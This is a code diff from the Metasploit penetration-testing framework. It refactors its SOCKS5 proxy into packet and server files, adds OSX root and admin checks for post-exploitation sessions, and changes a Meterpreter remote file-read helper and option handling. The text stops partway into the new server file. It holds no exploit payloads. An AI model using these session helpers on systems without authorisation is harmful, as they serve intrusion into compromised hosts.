||||
RPORT = RPORT()
|
||||
SSLVersion = SSLVersion()
|
||||
end
|
||||
|
|
|
@ -5,36 +5,39 @@ module Msf
|
|||
|
||||
###
|
||||
#
|
||||
# Network address option.
|
||||
# Local network address option.
|
||||
#
|
||||
###
|
||||
class OptAddressLocal < OptAddress
|
||||
def normalize(value)
|
||||
return nil unless value.kind_of?(String)
|
||||
def interfaces
|
||||
NetworkInterface.interfaces || []
|
||||
end
|
||||
|
||||
if NetworkInterface.interfaces.include?(value)
|
||||
ip_address = NetworkInterface.addresses(value).values.flatten.collect{|x| x['addr']}.select do |addr|
|
||||
def normalize(value)
|
||||
return unless value.kind_of?(String)
|
||||
return value unless interfaces.include?(value)
|
||||
|
||||
addrs = NetworkInterface.addresses(value).values.flatten
|
||||
|
||||
# Strip interface name from address (see getifaddrs(3))
|
||||
addrs = addrs.map { |x| x['addr'].split('%').first }.select do |addr|
|
||||
begin
|
||||
IPAddr.new(addr).ipv4?
|
||||
rescue IPAddr::InvalidAddressError => e
|
||||
IPAddr.new(addr)
|
||||
rescue IPAddr::InvalidAddressError
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
return false if ip_address.blank?
|
||||
return ip_address.first
|
||||
end
|
||||
|
||||
return value
|
||||
addrs.any? ? addrs.first : ''
|
||||
end
|
||||
|
||||
def valid?(value, check_empty: true)
|
||||
return false if check_empty && empty_required_value?(value)
|
||||
return false unless value.kind_of?(String) or value.kind_of?(NilClass)
|
||||
return false unless value.kind_of?(String) || value.kind_of?(NilClass)
|
||||
|
||||
return true if NetworkInterface.interfaces.include?(value)
|
||||
return true if interfaces.include?(value)
|
||||
|
||||
return super
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -421,22 +421,22 @@ protected
|
|||
#
|
||||
# @return [String]
|
||||
def _read_file_meterpreter(file_name)
|
||||
begin
|
||||
fd = session.fs.file.new(file_name, "rb")
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Failed to open file: #{file_name}: #{e}")
|
||||
return nil
|
||||
end
|
||||
|
||||
data = fd.read
|
||||
begin
|
||||
until fd.eof?
|
||||
data << fd.read
|
||||
end
|
||||
ensure
|
||||
fd.close
|
||||
end
|
||||
|
||||
data
|
||||
rescue EOFError
|
||||
# Sometimes fd isn't marked EOF in time?
|
||||
''
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Failed to open file: #{file_name}: #{e}")
|
||||
return nil
|
||||
ensure
|
||||
fd.close if fd
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Post::OSX
|
||||
require 'msf/core/post/osx/priv'
|
||||
require 'msf/core/post/osx/system'
|
||||
require 'msf/core/post/osx/ruby_dl'
|
||||
end
|
||||
|
|
|
@ -0,0 +1,26 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/post/common'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module OSX
|
||||
module Priv
|
||||
include ::Msf::Post::Common
|
||||
|
||||
#
|
||||
# Returns true if running as root, false if not.
|
||||
#
|
||||
def is_root?
|
||||
cmd_exec('/usr/bin/id -ru').eql? '0'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if session user is in the admin group, false if not.
|
||||
#
|
||||
def is_admin?
|
||||
cmd_exec('groups | grep -wq admin && echo true').eql? 'true'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -2167,6 +2167,12 @@ class Core
|
|||
return res
|
||||
end
|
||||
|
||||
# XXX: We repurpose OptAddressLocal#interfaces, so we can't put this in Rex
|
||||
def tab_complete_source_interface(o)
|
||||
return [] unless o.is_a?(Msf::OptAddressLocal)
|
||||
o.interfaces
|
||||
end
|
||||
|
||||
#
|
||||
# Provide possible option values based on type
|
||||
#
|
||||
|
@ -2188,8 +2194,8 @@ class Core
|
|||
res << Rex::Socket.source_address(rh)
|
||||
else
|
||||
res += tab_complete_source_address
|
||||
res += tab_complete_source_interface(o)
|
||||
end
|
||||
else
|
||||
end
|
||||
|
||||
when Msf::OptAddressRange
|
||||
|
|
|
@ -1,645 +1,13 @@
|
|||
|
||||
# -*- coding: binary -*-
|
||||
#
|
||||
# sf - Sept 2010
|
||||
# surefire - May 2018
|
||||
# sf - Sept 2010 (original socks4a code)
|
||||
# zeroSteiner - March 2018 (socks 5 update)
|
||||
# surefire - May 2018 (socks 5 update)
|
||||
#
|
||||
# TODO: Add support for required SOCKS username+password authentication
|
||||
# TODO: Support multiple connection requests within a single session
|
||||
#
|
||||
require 'thread'
|
||||
require 'rex/logging'
|
||||
require 'rex/socket'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Proxy
|
||||
|
||||
#
|
||||
# A Socks5 proxy server.
|
||||
#
|
||||
class Socks5
|
||||
|
||||
#
|
||||
# A client connected to the Socks5 server.
|
||||
#
|
||||
class Client
|
||||
|
||||
# COMMON HEADER FIELDS
|
||||
|
||||
RESERVED = 0
|
||||
|
||||
# ADDRESS TYPES
|
||||
|
||||
ADDRESS_TYPE_IPV4 = 1
|
||||
ADDRESS_TYPE_DOMAINNAME = 3
|
||||
ADDRESS_TYPE_IPV6 = 4
|
||||
|
||||
# AUTHENTICATION TYPES
|
||||
AUTH_PROTOCOL_VERSION = 0x01
|
||||
|
||||
AUTH_METHOD_TYPE_NONE = 0x00
|
||||
AUTH_METHOD_TYPE_USER_PASS = 0x02
|
||||
|
||||
AUTH_METHODS_REJECTED = 0xFF
|
||||
|
||||
AUTH_SUCCESS = 0x00
|
||||
AUTH_FAILURE = 0x01
|
||||
|
||||
# REQUEST HEADER FIELDS
|
||||
|
||||
REQUEST_VERSION = 5
|
||||
|
||||
REQUEST_AUTH_METHOD_COUNT = 1
|
||||
|
||||
REQUEST_COMMAND_CONNECT = 1
|
||||
REQUEST_COMMAND_BIND = 2
|
||||
REQUEST_COMMAND_UDP_ASSOCIATE = 3 # TODO: support UDP associate
|
||||
|
||||
# RESPONSE HEADER FIELDS
|
||||
|
||||
REPLY_VERSION = 5
|
||||
REPLY_FIELD_SUCCEEDED = 0
|
||||
REPLY_FIELD_SOCKS_SERVER_FAILURE = 1
|
||||
REPLY_FIELD_NOT_ALLOWED_BY_RULESET = 2
|
||||
REPLY_FIELD_NETWORK_UNREACHABLE = 3
|
||||
REPLY_FIELD_HOST_UNREACHABLE = 4
|
||||
REPLY_FIELD_CONNECTION_REFUSED = 5
|
||||
REPLY_FIELD_TTL_EXPIRED = 6
|
||||
REPLY_FIELD_COMMAND_NOT_SUPPORTED = 7
|
||||
REPLY_FIELD_ADDRESS_TYPE_NOT_SUPPORTED = 8
|
||||
|
||||
# RPEER INDEXES
|
||||
|
||||
HOST = 1
|
||||
PORT = 2
|
||||
|
||||
class Response
|
||||
|
||||
def initialize( sock )
|
||||
@version = REQUEST_VERSION
|
||||
@command = nil
|
||||
@reserved = RESERVED
|
||||
@atyp = nil
|
||||
@dest_port = 0
|
||||
@dest_ip = '0.0.0.0'
|
||||
@sock = sock
|
||||
end
|
||||
|
||||
# convert IPv6 hex-encoded, colon-delimited string (0000:1111:...) into a 128-bit address
|
||||
def ipv6_atoi(ip)
|
||||
raw = ""
|
||||
ip.scan(/....:/).each do |quad|
|
||||
raw += quad[0,2].hex.chr
|
||||
raw += quad[2,4].hex.chr
|
||||
end
|
||||
return raw
|
||||
end
|
||||
|
||||
# Pack a packet into raw bytes for transmitting on the wire.
|
||||
def to_r
|
||||
begin
|
||||
|
||||
if @atyp == ADDRESS_TYPE_DOMAINNAME
|
||||
if @dest_ip.include? '.' # stupid check for IPv4 addresses
|
||||
@atyp = ADDRESS_TYPE_IPV4
|
||||
elsif @dest_ip.include? ':' # stupid check for IPv4 addresses
|
||||
@atyp = ADDRESS_TYPE_IPV6
|
||||
else
|
||||
raise "Malformed dest_ip while sending SOCKS5 response packet"
|
||||
end
|
||||
end
|
||||
|
||||
if @atyp == ADDRESS_TYPE_IPV4
|
||||
raw = [ @version, @command, @reserved, @atyp, Rex::Socket.addr_atoi(@dest_ip), @dest_port ].pack( 'CCCCNn' )
|
||||
elsif @atyp == ADDRESS_TYPE_IPV6
|
||||
raw = [ @version, @command, @reserved, @atyp ].pack ( 'CCCC')
|
||||
raw += ipv6_atoi(@dest_ip)
|
||||
raw += [ @dest_port ].pack( 'n' )
|
||||
else
|
||||
raise "Invalid address type field encountered while sending SOCKS5 response packet"
|
||||
end
|
||||
|
||||
return raw
|
||||
|
||||
rescue TypeError
|
||||
raise "Invalid field conversion while sending SOCKS5 response packet"
|
||||
end
|
||||
end
|
||||
|
||||
def send
|
||||
@sock.put(self.to_r)
|
||||
end
|
||||
|
||||
attr_writer :version, :command, :dest_port, :dest_ip, :hostname, :atyp
|
||||
end
|
||||
|
||||
class Request
|
||||
|
||||
def initialize( sock )
|
||||
@version = REQUEST_VERSION
|
||||
@command = nil
|
||||
@atyp = nil
|
||||
@dest_port = nil
|
||||
@dest_ip = nil
|
||||
@sock = sock
|
||||
@username = nil
|
||||
@password = nil
|
||||
@serverAuthMethods = [ 0x00 ]
|
||||
end
|
||||
|
||||
def requireAuthentication( username, password )
|
||||
@username = username
|
||||
@password = password
|
||||
@serverAuthMethods = [ AUTH_METHOD_TYPE_USER_PASS ]
|
||||
end
|
||||
|
||||
# The first packet sent by the client is a session request
|
||||
# +----+----------+----------+
|
||||
# |VER | NMETHODS | METHODS |
|
||||
# +----+----------+----------+
|
||||
# | 1 | 1 | 1 to 255 | METHOD (\x00) = NO AUTHENTICATION REQUIRED
|
||||
# +----+----------+----------+
|
||||
def parseIncomingSession()
|
||||
raw = ''
|
||||
|
||||
version = @sock.read( 1 )
|
||||
raise "Invalid Socks5 request packet received." if not
|
||||
( version.unpack( 'C' ).first == REQUEST_VERSION )
|
||||
|
||||
nMethods = @sock.read( 1 ).unpack( 'C' ).first
|
||||
|
||||
unpackFormatStr = 'C' + nMethods.to_s # IS THIS REALLY WHAT I'M DOING?!
|
||||
clientAuthMethods = @sock.read( nMethods ).unpack( unpackFormatStr )
|
||||
authMethods = ( clientAuthMethods & @serverAuthMethods )
|
||||
|
||||
if ( authMethods.empty? )
|
||||
raw = [ REQUEST_VERSION, AUTH_METHODS_REJECTED ].pack ( 'CC' )
|
||||
@sock.put( raw )
|
||||
raise "No matching authentication methods agreed upon in session request"
|
||||
else
|
||||
raw = [REQUEST_VERSION, authMethods[0]].pack ( 'CC' )
|
||||
@sock.put( raw )
|
||||
|
||||
parseIncomingCredentials() if authMethods[0] == AUTH_METHOD_TYPE_USER_PASS
|
||||
end
|
||||
end
|
||||
|
||||
def parseIncomingCredentials()
|
||||
# Based on RFC1929: https://tools.ietf.org/html/rfc1929
|
||||
# +----+------+----------+------+----------+
|
||||
# |VER | ULEN | UNAME | PLEN | PASSWD |
|
||||
# +----+------+----------+------+----------+
|
||||
# | 1 | 1 | 1 to 255 | 1 | 1 to 255 | VERSION: 0x01
|
||||
# +----+------+----------+------+----------+
|
||||
|
||||
version = @sock.read( 1 )
|
||||
raise "Invalid SOCKS5 authentication packet received." if not
|
||||
( version.unpack( 'C' ).first == 0x01 )
|
||||
|
||||
usernameLength = @sock.read( 1 ).unpack( 'C' ).first
|
||||
username = @sock.read( usernameLength )
|
||||
|
||||
passwordLength = @sock.read( 1 ).unpack( 'C' ).first
|
||||
password = @sock.read( passwordLength )
|
||||
|
||||
# +----+--------+
|
||||
# |VER | STATUS |
|
||||
# +----+--------+ VERSION: 0x01
|
||||
# | 1 | 1 | STATUS: 0x00=SUCCESS, otherwise FAILURE
|
||||
# +----+--------+
|
||||
|
||||
if (username == @username && password == @password)
|
||||
raw = [ AUTH_PROTOCOL_VERSION, AUTH_SUCCESS ].pack ( 'CC' )
|
||||
ilog("SOCKS5: Successfully authenticated")
|
||||
@sock.put( raw )
|
||||
return true
|
||||
else
|
||||
raw = [ AUTH_PROTOCOL_VERSION, AUTH_FAILURE ].pack ( 'CC' )
|
||||
@sock.put( raw )
|
||||
raise "Invalid SOCKS5 credentials provided"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def parseIncomingConnectionRequest()
|
||||
raw = @sock.read ( 262 ) # MAX LENGTH OF REQUEST WITH 256 BYTE HOSTNAME
|
||||
|
||||
# fail if the incoming request is less than 8 bytes (malformed)
|
||||
raise "Client closed connection while expecting SOCKS connection request" if( raw == nil )
|
||||
raise "Client sent malformed packet expecting SOCKS connection request" if( raw.length < 8 )
|
||||
|
||||
# Per RFC1928, the lengths of the SOCKS5 request header are:
|
||||
# +----+-----+-------+------+----------+----------+
|
||||
# |VER | CMD | RSV | ATYP | DST.ADDR | DST.PORT |
|
||||
# +----+-----+-------+------+----------+----------+
|
||||
# | 1 | 1 | X'00' | 1 | Variable | 2 |
|
||||
# +----+-----+-------+------+----------+----------+
|
||||
|
||||
@version = raw[0..0].unpack( 'C' ).first
|
||||
# fail if the incoming request is an unsupported version (not '0x05')
|
||||
raise "Invalid SOCKS version received from client" if( @version != REQUEST_VERSION )
|
||||
|
||||
@command = raw[1..1].unpack( 'C' ).first
|
||||
# fail if the incoming request is an unsupported command (currently only CONNECT)
|
||||
raise "Invalid SOCKS proxy command received from client" if ( @command != REQUEST_COMMAND_CONNECT )
|
||||
|
||||
# "address type of following address"
|
||||
@atyp = raw[3..3].unpack( 'C' ).first
|
||||
|
||||
if (@atyp == ADDRESS_TYPE_IPV4)
|
||||
# "the address is a version-4 IP address, with a length of 4 octets"
|
||||
addressLen = 4
|
||||
addressEnd = 3 + addressLen
|
||||
|
||||
hostname = nil
|
||||
@dest_ip = Rex::Socket.addr_itoa( raw[4..7].unpack('N').first )
|
||||
elsif (@atyp == ADDRESS_TYPE_IPV6)
|
||||
# "the address is a version-6 IP address, with a length of 16 octets"
|
||||
addressLen = 16
|
||||
addressEnd = 3 + addressLen
|
||||
|
||||
hostname = nil
|
||||
@dest_ip = raw[4..19].unpack( 'H4H4H4H4H4H4H4H4' ).join(':') # Workaround because Rex::Socket.addr_itoa hurts too much
|
||||
elsif (@atyp == ADDRESS_TYPE_DOMAINNAME)
|
||||
# "the address field contains a fully-qualified domain name. The first
|
||||
# octet of the address field contains the number of octets of name that
|
||||
# follow, there is no terminating NUL octet."
|
||||
|
||||
addressLen = raw[4..4].unpack( 'C' ).first
|
||||
addressStart = 5
|
||||
addressEnd = 4+addressLen
|
||||
|
||||
@hostname = raw[addressStart..addressEnd]
|
||||
|
||||
@dest_ip = self.resolve( @hostname )
|
||||
ilog("SOCKS5: Resolved '#{@hostname}' to #{@dest_ip.to_s}")
|
||||
|
||||
# fail if we couldnt resolve the hostname
|
||||
if( not @dest_ip )
|
||||
wlog("SOCKS5: Failed to resolve '#{@hostname}'...")
|
||||
end
|
||||
|
||||
else
|
||||
raise 'Invalid address type requested in connection request'
|
||||
end
|
||||
|
||||
@dest_port = raw[addressEnd+1 .. addressEnd+3].unpack('n').first
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
def is_connect?
|
||||
@command == REQUEST_COMMAND_CONNECT ? true : false
|
||||
end
|
||||
|
||||
def is_bind?
|
||||
@command == REQUEST_COMMAND_BIND ? true : false
|
||||
end
|
||||
|
||||
attr_reader :version, :command, :dest_port, :dest_ip, :hostname, :atyp
|
||||
|
||||
protected
|
||||
|
||||
# Resolve the given hostname into a dotted IP address.
|
||||
def resolve( hostname )
|
||||
if( not hostname.empty? )
|
||||
begin
|
||||
return Rex::Socket.addr_itoa( Rex::Socket.gethostbyname( hostname )[3].unpack( 'N' ).first )
|
||||
rescue ::SocketError
|
||||
return nil
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# A mixin for a socket to perform a relay to another socket.
|
||||
module Relay
|
||||
|
||||
#
|
||||
# Relay data coming in from relay_sock to this socket.
|
||||
#
|
||||
def relay( relay_client, relay_sock )
|
||||
@relay_client = relay_client
|
||||
@relay_sock = relay_sock
|
||||
# start the relay thread (modified from Rex::IO::StreamAbstraction)
|
||||
@relay_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyServerRelay", false) do
|
||||
loop do
|
||||
closed = false
|
||||
buf = nil
|
||||
|
||||
begin
|
||||
s = Rex::ThreadSafe.select( [ @relay_sock ], nil, nil, 0.2 )
|
||||
if( s == nil || s[0] == nil )
|
||||
next
|
||||
end
|
||||
rescue
|
||||
closed = true
|
||||
end
|
||||
|
||||
if( closed == false )
|
||||
begin
|
||||
buf = @relay_sock.sysread( 32768 )
|
||||
closed = true if( buf == nil )
|
||||
rescue
|
||||
closed = true
|
||||
end
|
||||
end
|
||||
|
||||
if( closed == false )
|
||||
total_sent = 0
|
||||
total_length = buf.length
|
||||
while( total_sent < total_length )
|
||||
begin
|
||||
data = buf[total_sent, buf.length]
|
||||
sent = self.write( data )
|
||||
if( sent > 0 )
|
||||
total_sent += sent
|
||||
end
|
||||
rescue
|
||||
closed = true
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if( closed )
|
||||
@relay_client.stop
|
||||
::Thread.exit
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
# Create a new client connected to the server.
|
||||
def initialize( server, sock, opts )
|
||||
@username = opts['USERNAME']
|
||||
@password = opts['PASSWORD']
|
||||
@server = server
|
||||
@lsock = sock
|
||||
@rsock = nil
|
||||
@client_thread = nil
|
||||
@mutex = ::Mutex.new
|
||||
end
|
||||
|
||||
# Start handling the client connection.
|
||||
def start
|
||||
# create a thread to handle this client request so as to not block the socks5 server
|
||||
@client_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyClient", false) do
|
||||
begin
|
||||
@server.add_client( self )
|
||||
|
||||
# get the initial client request packet
|
||||
request = Request.new ( @lsock )
|
||||
if not (@username.nil? or @password.nil?)
|
||||
request.requireAuthentication( @username, @password )
|
||||
end
|
||||
|
||||
# negotiate authentication
|
||||
request.parseIncomingSession()
|
||||
|
||||
# negotiate authentication
|
||||
request.parseIncomingConnectionRequest()
|
||||
|
||||
# handle the request
|
||||
begin
|
||||
# handle CONNECT requests
|
||||
if( request.is_connect? )
|
||||
# perform the connection request
|
||||
params = {
|
||||
'PeerHost' => request.dest_ip,
|
||||
'PeerPort' => request.dest_port,
|
||||
}
|
||||
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
|
||||
|
||||
@rsock = Rex::Socket::Tcp.create( params )
|
||||
# and send back success to the client
|
||||
response = Response.new ( @lsock )
|
||||
response.version = REPLY_VERSION
|
||||
response.command = REPLY_FIELD_SUCCEEDED
|
||||
response.atyp = request.atyp
|
||||
response.hostname = request.hostname
|
||||
response.dest_port = request.dest_port
|
||||
response.dest_ip = request.dest_ip
|
||||
ilog("SOCKS5: request accepted to " + request.dest_ip.to_s + request.dest_port.to_s)
|
||||
response.send()
|
||||
# handle BIND requests
|
||||
elsif( request.is_bind? ) # TODO: Test the BIND code with SOCKS5 (this is the old SOCKS4 code)
|
||||
# create a server socket for this request
|
||||
params = {
|
||||
'LocalHost' => '0.0.0.0',
|
||||
'LocalPort' => 0,
|
||||
}
|
||||
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
|
||||
bsock = Rex::Socket::TcpServer.create( params )
|
||||
# send back the bind success to the client
|
||||
response = Response.new ( @lsock )
|
||||
response.version = REPLY_VERSION
|
||||
response.command = REPLY_FIELD_SUCCEEDED
|
||||
response.atyp = request.atyp
|
||||
response.hostname = request.hostname
|
||||
response.dest_ip = '0.0.0.0'
|
||||
response.dest_port = bsock.getlocalname()[PORT]
|
||||
response.send()
|
||||
ilog("SOCKS5: BIND request accepted to " + request.dest_ip.to_s + request.dest_port.to_s)
|
||||
# accept a client connection (2 minute timeout as per spec)
|
||||
begin
|
||||
::Timeout.timeout( 120 ) do
|
||||
@rsock = bsock.accept
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
raise "Timeout reached on accept request."
|
||||
end
|
||||
# close the listening socket
|
||||
bsock.close
|
||||
# verify the connection is from the dest_ip origionally specified by the client
|
||||
rpeer = @rsock.getpeername_as_array
|
||||
raise "Got connection from an invalid peer." if( rpeer[HOST] != request.dest_ip )
|
||||
# send back the client connect success to the client
|
||||
# sf: according to the spec we send this response back to the client, however
|
||||
# I have seen some clients who bawk if they get this second response.
|
||||
response = Response.new ( @lsock )
|
||||
response.version = REPLY_VERSION
|
||||
response.command = REPLY_FIELD_SUCCEEDED
|
||||
response.atyp = request.atyp
|
||||
response.hostname = request.hostname
|
||||
response.dest_ip = rpeer[HOST]
|
||||
response.dest_port = rpeer[PORT]
|
||||
response.send()
|
||||
else
|
||||
raise "Unknown request command received #{request.command} received."
|
||||
end
|
||||
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::InvalidDestination, Rex::ConnectionTimeout => e
|
||||
# send back failure to the client
|
||||
response = Response.new ( @lsock )
|
||||
response.version = REPLY_VERSION
|
||||
response.atyp = request.atyp
|
||||
response.dest_port = request.dest_port
|
||||
response.dest_ip = request.dest_ip
|
||||
if e.class == Rex::ConnectionRefused
|
||||
response.command = REPLY_FIELD_CONNECTION_REFUSED
|
||||
response.send()
|
||||
raise "Connection refused by destination (#{request.dest_ip}:#{request.dest_port})"
|
||||
elsif e.class == Rex::ConnectionTimeout
|
||||
response.command = REPLY_FIELD_HOST_UNREACHABLE
|
||||
response.send()
|
||||
raise "Connection attempt timed out (#{request.dest_ip}:#{request.dest_port})"
|
||||
elsif e.class == Rex::HostUnreachable
|
||||
response.command = REPLY_FIELD_HOST_UNREACHABLE
|
||||
response.send()
|
||||
raise "Host Unreachable (#{request.dest_ip}:#{request.dest_port})"
|
||||
elsif e.class == Rex::NetworkUnreachable
|
||||
response.command = REPLY_FIELD_NETWORK_UNREACHABLE
|
||||
response.send()
|
||||
raise "Network unreachable (#{request.dest_ip}:#{request.dest_port})"
|
||||
end
|
||||
rescue RuntimeError
|
||||
raise
|
||||
# TODO: This happens when we get a connection refused for an IPv6 connection. :-(
|
||||
# It's unknown if that's the only error case.
|
||||
rescue => e
|
||||
raise
|
||||
response = Response.new ( @lsock )
|
||||
response.version = REPLY_VERSION
|
||||
response.atyp = request.atyp
|
||||
response.dest_port = request.dest_port
|
||||
response.dest_ip = request.dest_ip
|
||||
response.hostname = request.hostname
|
||||
response.command = REPLY_FIELD_SOCKS_SERVER_FAILURE
|
||||
response.send()
|
||||
# raise an exception to close this client connection
|
||||
raise e
|
||||
end
|
||||
# setup the two way relay for full duplex io
|
||||
@lsock.extend( Relay )
|
||||
@rsock.extend( Relay )
|
||||
# start the socket relays...
|
||||
@lsock.relay( self, @rsock )
|
||||
@rsock.relay( self, @lsock )
|
||||
rescue
|
||||
#raise # UNCOMMENT FOR DEBUGGING
|
||||
wlog( "SOCKS5: #{$!}" )
|
||||
wlog( "SOCKS5: #{$!.message}" )
|
||||
self.stop
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Stop handling the client connection.
|
||||
def stop
|
||||
@mutex.synchronize do
|
||||
if( not @closed )
|
||||
|
||||
begin
|
||||
@lsock.close if @lsock
|
||||
rescue
|
||||
end
|
||||
|
||||
begin
|
||||
@rsock.close if @rsock
|
||||
rescue
|
||||
end
|
||||
|
||||
@client_thread.kill if( @client_thread and @client_thread.alive? )
|
||||
|
||||
@server.remove_client( self )
|
||||
|
||||
@closed = true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Create a new Socks5 server.
|
||||
def initialize( opts={} )
|
||||
@opts = { 'SRVHOST' => '0.0.0.0', 'SRVPORT' => 1080,
|
||||
'USERNAME' => nil, 'PASSWORD' => nil }
|
||||
@opts = @opts.merge( opts['Context']['MsfExploit'].datastore )
|
||||
@server = nil
|
||||
@clients = ::Array.new
|
||||
@running = false
|
||||
@server_thread = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Check if the server is running.
|
||||
#
|
||||
def is_running?
|
||||
return @running
|
||||
end
|
||||
|
||||
#
|
||||
# Start the Socks5 server.
|
||||
#
|
||||
def start
|
||||
begin
|
||||
# create the servers main socket (ignore the context here because we don't want a remote bind)
|
||||
@server = Rex::Socket::TcpServer.create( 'LocalHost' => @opts['SRVHOST'], 'LocalPort' => @opts['SRVPORT'] )
|
||||
# signal we are now running
|
||||
@running = true
|
||||
# start the servers main thread to pick up new clients
|
||||
@server_thread = Rex::ThreadFactory.spawn("SOCKS5ProxyServer", false) do
|
||||
while( @running ) do
|
||||
begin
|
||||
# accept the client connection
|
||||
sock = @server.accept
|
||||
# and fire off a new client instance to handle it
|
||||
Client.new( self, sock, @opts ).start
|
||||
rescue
|
||||
wlog( "Socks5.start - server_thread - #{$!}" )
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue
|
||||
wlog( "Socks5.start - #{$!}" )
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Block while the server is running.
|
||||
#
|
||||
def join
|
||||
@server_thread.join if @server_thread
|
||||
end
|
||||
|
||||
#
|
||||
# Stop the Socks5 server.
|
||||
#
|
||||
def stop
|
||||
if( @running )
|
||||
# signal we are no longer running
|
||||
@running = false
|
||||
# stop any clients we have (create a new client array as client.stop will delete from @clients)
|
||||
clients = []
|
||||
clients.concat( @clients )
|
||||
clients.each do | client |
|
||||
client.stop
|
||||
end
|
||||
# close the server socket
|
||||
@server.close if @server
|
||||
# if the server thread did not terminate gracefully, kill it.
|
||||
@server_thread.kill if( @server_thread and @server_thread.alive? )
|
||||
end
|
||||
return !@running
|
||||
end
|
||||
|
||||
def add_client( client )
|
||||
@clients << client
|
||||
end
|
||||
|
||||
def remove_client( client )
|
||||
@clients.delete( client )
|
||||
end
|
||||
|
||||
attr_reader :opts
|
||||
|
||||
end
|
||||
|
||||
end; end; end
|
||||
# references:
|
||||
# - SOCKS Protocol Version 5
|
||||
# https://tools.ietf.org/html/rfc1928
|
||||
# - Username/Password Authentication for SOCKS V5
|
||||
# https://tools.ietf.org/html/rfc1929
|
||||
|
||||
require 'rex/proto/proxy/socks5/server'
|
||||
|
|
|
@ -0,0 +1,109 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'bindata'
|
||||
require 'rex/socket'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Proxy
|
||||
|
||||
module Socks5
|
||||
SOCKS_VERSION = 5
|
||||
|
||||
#
|
||||
# Mixin for socks5 packets to include an address field.
|
||||
#
|
||||
module Address
|
||||
ADDRESS_TYPE_IPV4 = 1
|
||||
ADDRESS_TYPE_DOMAINNAME = 3
|
||||
ADDRESS_TYPE_IPV6 = 4
|
||||
|
||||
def address
|
||||
addr = address_array.to_ary.pack('C*')
|
||||
if address_type == ADDRESS_TYPE_IPV4 || address_type == ADDRESS_TYPE_IPV6
|
||||
addr = Rex::Socket.addr_ntoa(addr)
|
||||
end
|
||||
addr
|
||||
end
|
||||
|
||||
def address=(value)
|
||||
if Rex::Socket.is_ipv4?(value)
|
||||
address_type.assign(ADDRESS_TYPE_IPV4)
|
||||
domainname_length.assign(0)
|
||||
value = Rex::Socket.addr_aton(value)
|
||||
elsif Rex::Socket.is_ipv6?(value)
|
||||
address_type.assign(ADDRESS_TYPE_IPV6)
|
||||
domainname_length.assign(0)
|
||||
value = Rex::Socket.addr_aton(value)
|
||||
else
|
||||
address_type.assign(ADDRESS_TYPE_DOMAINNAME)
|
||||
domainname_length.assign(value.length)
|
||||
end
|
||||
address_array.assign(value.unpack('C*'))
|
||||
end
|
||||
|
||||
def address_length
|
||||
case address_type
|
||||
when ADDRESS_TYPE_IPV4
|
||||
4
|
||||
when ADDRESS_TYPE_DOMAINNAME
|
||||
domainname_length
|
||||
when ADDRESS_TYPE_IPV6
|
||||
16
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class AuthRequestPacket < BinData::Record
|
||||
endian :big
|
||||
|
||||
uint8 :version, :initial_value => SOCKS_VERSION
|
||||
uint8 :supported_methods_length
|
||||
array :supported_methods, :type => :uint8, :initial_length => :supported_methods_length
|
||||
end
|
||||
|
||||
class AuthResponsePacket < BinData::Record
|
||||
endian :big
|
||||
|
||||
uint8 :version, :initial_value => SOCKS_VERSION
|
||||
uint8 :chosen_method
|
||||
end
|
||||
|
||||
class Packet < BinData::Record
|
||||
include Address
|
||||
endian :big
|
||||
hide :reserved, :domainname_length
|
||||
|
||||
uint8 :version, :initial_value => SOCKS_VERSION
|
||||
uint8 :command
|
||||
uint8 :reserved
|
||||
uint8 :address_type
|
||||
uint8 :domainname_length, :onlyif => lambda { address_type == ADDRESS_TYPE_DOMAINNAME }
|
||||
array :address_array, :type => :uint8, :initial_length => lambda { address_length }
|
||||
uint16 :port
|
||||
end
|
||||
|
||||
class RequestPacket < Packet
|
||||
end
|
||||
|
||||
class ResponsePacket < Packet
|
||||
end
|
||||
|
||||
class UdpPacket < BinData::Record
|
||||
include Address
|
||||
endian :big
|
||||
hide :reserved, :domainname_length
|
||||
|
||||
uint16 :reserved
|
||||
uint8 :frag
|
||||
uint8 :address_type
|
||||
uint8 :domainname_length, :onlyif => lambda { address_type == ADDRESS_TYPE_DOMAINNAME }
|
||||
array :address_array, :type => :uint8, :initial_length => lambda { address_length }
|
||||
uint16 :port
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,105 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'thread'
|
||||
require 'rex/logging'
|
||||
require 'rex/socket'
|
||||
require 'rex/proto/proxy/socks5/server_client'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Proxy
|
||||
|
||||
module Socks5
|
||||
#
|
||||
